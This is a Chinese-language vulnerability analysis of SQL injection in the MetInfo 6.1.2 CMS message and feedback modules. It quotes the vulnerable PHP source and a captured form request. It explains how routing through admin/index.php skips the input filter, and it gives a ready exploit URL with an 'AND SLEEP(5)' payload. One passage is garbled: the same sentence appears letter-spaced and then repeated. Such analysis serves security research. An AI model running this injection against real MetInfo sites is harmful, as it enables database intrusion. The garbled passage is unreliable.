参考:https://mochazz.github.io/2018/11/09/Metinfo6.0.0-6.1.2前台注入漏洞生命线/
其中一个在在线反馈
处,另外一个在在线留言
处。
在线留言
页面触发的位置发出的请求是:
POST /MetInfo6.1.2/message/index.php?action=add&lang=cn HTTP/1.1
Host: 192.168.170.137
Content-Length: 883
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUFJ6ABwsFukt0v0a
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3670.0 Safari/537.36
Referer: http://192.168.170.137/MetInfo6.1.2/message/
Cookie: re_url=http%3A%2F%2F192.168.170.137%2FMetInfo6.1.2%2Finstall%2Findex.php%3Faction%3Dadminsetup%26cndata%3Dyes%26endata%3Dyes%26showdata%3Dyes; PHPSESSID=b6066541d57f25275f146a158228556f; met_auth=d1a1wv9IOmp8PgYZdpe18A3sjHoEPD486NHr%2FcXZemxY9aPcpOdciM3n1sg2ZfJI9YIsI4QF3B%2FFubRjtoEi5nbcAA; met_key=6g6ML6V; upgraderemind=1; acc_auth=cad7DPBm8%2BCriS0ZbOd1%2BGl5jia1UDUl8ghcIzEzjEX1eatcA7a1SoSZGpAOhwsXNopiVJ9BIfAah28KznBQhTI; acc_key=71U2W5X
Connection: close
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="lang"
cn
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="id"
42
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="para137"
cqq
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="para186"
cqq
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="para138"
13100001111
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="para139"
ccccc
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="para140"
qqqq
------WebKitFormBoundaryUFJ6ABwsFukt0v0a
Content-Disposition: form-data; name="code"
9RCB
------WebKitFormBoundaryUFJ6ABwsFukt0v0a--
然后message/index.php
的内容跟其他模块的index.php差不多,
<?php
define('M_NAME', 'message');
define('M_MODULE', 'web');
define('M_CLASS', 'message');
define('M_ACTION', 'domessage');
require_once '../app/system/entrance.php';
?>
都是在app/system/entrance.php
中
require_once PATH_SYS_CLASS.'load.class.php';
load::module();
然后由load.class.php的静态module函数
_load_class()
完成对参数的解析,最终调用call_user_func(array($newclass, $action));
调用对应类的对应方法,
指派对应的处理函数。
在线留言,最终路由到到是app/system/message/web/message.class.php
文件的domessage()
函数。
在调用add()方法前,需要满足 t h i s − > c h e c k f i e l d ( ) ; , 这 里 发 现 只 要 抓 取 正 常 的 留 言 参 数 填 充 就 可 以 了 , 验 证 码 的 判 断 是 在 a d d ( ) 方 法 中 执 行 完 漏 洞 语 句 之 后 。 为 了 实 现 布 尔 注 入 而 不 是 时 间 盲 注 , 需 要 正 常 时 this->check_field();,这里发现只要抓取正常的留言参数填充就可以了,验证码的判断是在add()方法中执行完漏洞语句之后。为了实现布尔注入而不是时间盲注,需要正常时 this−>checkfield();,这里发现只要抓取正常的留言参数填充就可以了,验证码的判断是在add()方法中执行完漏洞语句之后。为了实现布尔注入而不是时间盲注,需要正常时met_fd_ok的值不为空,从而绕过45行判断,弹出"验证码错误",而异常时$met_fd_ok值为空,弹出"反馈已关闭"。
来源:https://anquan.baidu.com/article/382
校验验证码的逻辑
check_pin()
在注入点
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_ok' and columnid = {$_M[form][id]}");
//{$_M[form][id]} 没有单引号保护
之后
#MetInfo6.1.2/app/system/message/web/message.class.php
public function add($info) {
global $_M;
if(!$_M[form][id]){
$message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'");
$_M[form][id]=$message[id];
}
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_ok' and columnid = {$_M[form][id]}");
$_M[config][met_fd_ok]= $met_fd_ok[value];
if(!$_M[config][met_fd_ok])okinfo('javascript:history.back();',"{$_M[word][Feedback5]}");
if($_M[config][met_memberlogin_code]){
if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code'])){
okinfo(-1, $_M['word']['membercode']);
}
}
所以这里不需要验证码正确就可以测试;
daddslashes()
调用sqlinsert()
过滤sql注入
而在sqlinsert()
无法绕过;而看到daddslashes()
有一个判断,若定义了'IN_ADMIN'
则只会
$string = trim(addslashes($string));
不会调用sqlinsert()
。于是搜索一下是哪里定义这个
'IN_ADMIN'
发现admin/index.php
里就有
所以这里需要构造一个admin/index.php
的url间接地通过路由的方式,到达app/system/message/web/message.class.php
文件的domessage()
函数。就可以满足defined('IN_ADMIN')
为true,从而进入不经过sqlinsert()
的逻辑了。另外,还可以通过次文件进行动态调用存在漏洞的函数。而且,还不需要任何权限。
于是可以构造以下url:
http://192.168.170.137/MetInfo6.1.2/admin/index.php?m=web&n=message&c=message&a=domessage&action=add&lang=cn¶137=1¶186=1¶138=1¶139=1¶140=1&id=42 AND SLEEP(5)
在线反馈
的校验验证码的逻辑
check_pin()
在注入点
$met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_type' and columnid = {$_M[form][id]}");
之前
#MetInfo6.1.2/app/system/feedback/web/feedback.class.php
public function add($info) {
global $_M;
$query="select * from {$_M[table][config]} where name ='met_fd_ok' and columnid='{$_M[form][id]}' and lang='{$_M[form][lang]}'";
$met_fd_ok=DB::get_one($query);
$_M[config][met_fd_ok]=$met_fd_ok[value];
if(!$_M[config][met_fd_ok]){
okinfo(-1, $_M['word']['Feedback5']);
}
if($_M[config][met_memberlogin_code]){
if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){
okinfo(-1, $_M['word']['membercode']);
}
}
if($this->checkword() && $this->checktime()){
foreach ($_FILES as $key => $value) {
if($value[tmp_name]){
$ret = $this->upfile->upload($key);//上传文件
if ($ret['error'] == 0) {
$info[$key]=$ret[path];
} else {
okinfo('javascript:history.back();',$_M[word][opfailed]);
}
}
}
$user = $this->get_login_user_info();
$fromurl= $_M['form']['referer'] ? $_M['form']['referer'] : HTTP_REFERER;
$ip=getip();
$feedcfg=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}'and name='met_fd_class' and columnid ='{$_M[form][id]}'");
$_M[config][met_fd_class]=$feedcfg[value];
$fdclass2="para".$_M[config][met_fd_class];
$fdclass=$_M[form][$fdclass2];
$title=$fdclass." - ".$_M[form][fdtitle];
$addtime=date('Y-m-d H:i:s',time());
$met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_type' and columnid = {$_M[form][id]}"); #存在注入
$_M[config][met_fd_type]= $met_fd_type[value];
if(load::sys_class('label', 'new')->get('feedback')->insert_feedback($info['id'], $info, $title, $user['username'],$fromurl,$addtime,$ip)){
$this->notice_by_emial($info,$fromurl,$title,$addtime);
$this->notice_by_sms($title);
}
setcookie('submit',time());
okinfo(HTTP_REFERER, $_M['word']['Feedback4']);
}
由于验证码校验逻辑在注入点之前,所以每次想要进行注入猜解需要过验证码,这样成本显得比较高,不利于利用。